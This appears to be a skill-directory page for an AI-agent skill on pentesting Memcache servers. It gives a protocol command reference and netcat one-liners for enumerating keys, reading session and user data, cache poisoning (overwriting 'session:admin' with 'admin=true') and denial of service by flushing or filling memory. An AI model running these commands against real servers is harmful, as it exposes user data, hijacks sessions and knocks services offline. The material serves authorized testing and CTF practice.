# Memcache Pentest > How to interact with Memcache servers for pentesting and CTF challenges. Use this skill whenever you need to connect to a Memcache service (typically port 11211), read/write cache keys, enumerate stored data, check server statistics, or exploit Memcache vulnerabilities. Trigger this for any Memcache-related task including key enumeration, data exfiltration, cache poisoning, or analyzing Memcache configurations. - Skill: `abelrguezr/memcache-pentest-2` (Agent Skill, multi-file: 3 files) - Install (CLI): `npx skillmds@latest add abelrguezr/memcache-pentest-2` - Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/memcache-pentest-2/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Security - Author: abelrguezr (https://skillmd.com/u/abelrguezr) - Updated: 2026-09-22 - Page: https://skillmd.com/skills/abelrguezr/memcache-pentest-2 --- # Memcache Pentesting Skill This skill helps you interact with Memcache servers during security assessments and CTF challenges. Memcache is a distributed memory caching system that's often misconfigured, leading to information disclosure or cache poisoning vulnerabilities. ## Quick Start Connect to a Memcache server using netcat: ```bash nc 11211 ``` Or use the bundled script for automated operations: ```bash python scripts/memcache_cli.py --host --port 11211 --command ``` ## Core Commands Reference ### Data Operations | Command | Purpose | Example | |---------|---------|--------| | `get ` | Read a value | `get mykey` | | `set ` | Set a key unconditionally | `set mykey 0 60 4\r\ndata\r\n` | | `add ` | Add a new key (fails if exists) | `add newkey 0 60 5` | | `replace ` | Overwrite existing key | `replace key 0 60 5` | | `append ` | Append data to existing key | `append key 0 60 15` | | `prepend ` | Prepend data to existing key | `prepend key 0 60 15` | | `incr ` | Increment numerical value | `incr mykey 2` | | `decr ` | Decrement numerical value | `decr mykey 5` | | `delete ` | Delete a key | `delete mykey` | ### Server Operations | Command | Purpose | Example | |---------|---------|--------| | `flush_all` | Invalidate all items immediately | `flush_all` | | `flush_all ` | Invalidate all items in n seconds | `flush_all 900` | | `stats` | Print general statistics | `stats` | | `stats slabs` | Print memory statistics | `stats slabs` | | `stats items` | Print info on items | `stats items` | | `stats reset` | Reset statistics counters | `stats reset` | | `version` | Print server version | `version` | | `quit` | Terminate session | `quit` | ## Common Pentesting Tasks ### 1. Check if Memcache is Accessible ```bash nc -zv 11211 ``` If the port is open, try connecting and sending `version`: ```bash echo "version" | nc 11211 ``` ### 2. Enumerate Stored Keys Memcache doesn't have a built-in key listing command, but you can: 1. Check how many items exist: ```bash echo "stats items" | nc 11211 ``` 2. Look for common key patterns (session IDs, user data, etc.): ```bash echo "get session:" | nc 11211 echo "get user:" | nc 11211 echo "get cache:" | nc 11211 ``` 3. Use the `lru_crawler metadump` command (if available): ```bash echo "lru_crawler metadump all" | nc 11211 ``` ### 3. Read Arbitrary Keys Try common key patterns: ```bash # Session keys echo "get session_id" | nc 11211 echo "get session:" | nc 11211 # User data echo "get user:1" | nc 11211 echo "get user:admin" | nc 11211 # Application cache echo "get config" | nc 11211 echo "get database" | nc 11211 ``` ### 4. Cache Poisoning Inject malicious data into the cache: ```bash # Set a key with malicious content printf "set malicious_key 0 3600 20\r\nmalicious_payload\r\n" | nc 11211 # Overwrite existing keys (if replace is allowed) printf "replace session:admin 0 3600 15\r\nadmin=true\r\n" | nc 11211 ``` ### 5. Check Server Statistics Get traffic and memory stats: ```bash # General stats echo "stats" | nc 11211 # Memory allocation echo "stats slabs" | nc 11211 # Item information echo "stats items" | nc 11211 ``` Look for: - `evictions` - if > 0, memory is constrained - `curr_items` - number of cached items - `cmd_get`/`cmd_set` - traffic patterns ### 6. Denial of Service **Warning: Only use in authorized testing!** ```bash # Flush all cache echo "flush_all" | nc 11211 # Fill memory with large keys for i in {1..1000}; do printf "set key_$i 0 0 1000000\r\n$(head -c 1000000 /dev/zero)\r\n" | nc 11211 done ``` ## Important Notes ### Line Breaks Memcache protocol requires `\r\n` (CRLF) line breaks. When using Unix CLI tools: ```bash # Correct - use printf with \r\n printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211 # Incorrect - echo uses \n only echo "set mykey 0 60 4" | nc localhost 11211 # May not work ``` ### Command Format The `set` command format is: ``` set \r\n\r\n ``` - `flags`: Integer for client-side use (usually 0) - `ttl`: Time-to-live in seconds (0 = forever) - `bytes`: Size of data in bytes ### Common Vulnerabilities 1. **Unauthenticated Access**: Memcache often runs without authentication 2. **Information Disclosure**: Cached session data, credentials, or sensitive info 3. **Cache Poisoning**: Injecting malicious data that gets served to users 4. **DoS**: Memory exhaustion or cache flushing ## Using the Bundled Script The `scripts/memcache_cli.py` script provides a convenient interface: ```bash # Get a key python scripts/memcache_cli.py --host 10.0.0.1 --port 11211 --command get --key mykey # Set a key python scripts/memcache_cli.py --host 10.0.0.1 --port 11211 --command set --key mykey --value "mydata" # Get stats python scripts/memcache_cli.py --host 10.0.0.1 --port 11211 --command stats # Enumerate common keys python scripts/memcache_cli.py --host 10.0.0.1 --port 11211 --command enumerate ``` ## References - [Memcache Protocol Documentation](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) - [Memcache Cheat Sheet](https://lzone.de/cheat-sheet/memcached) - [Memcache Source Code](https://github.com/memcached/memcached)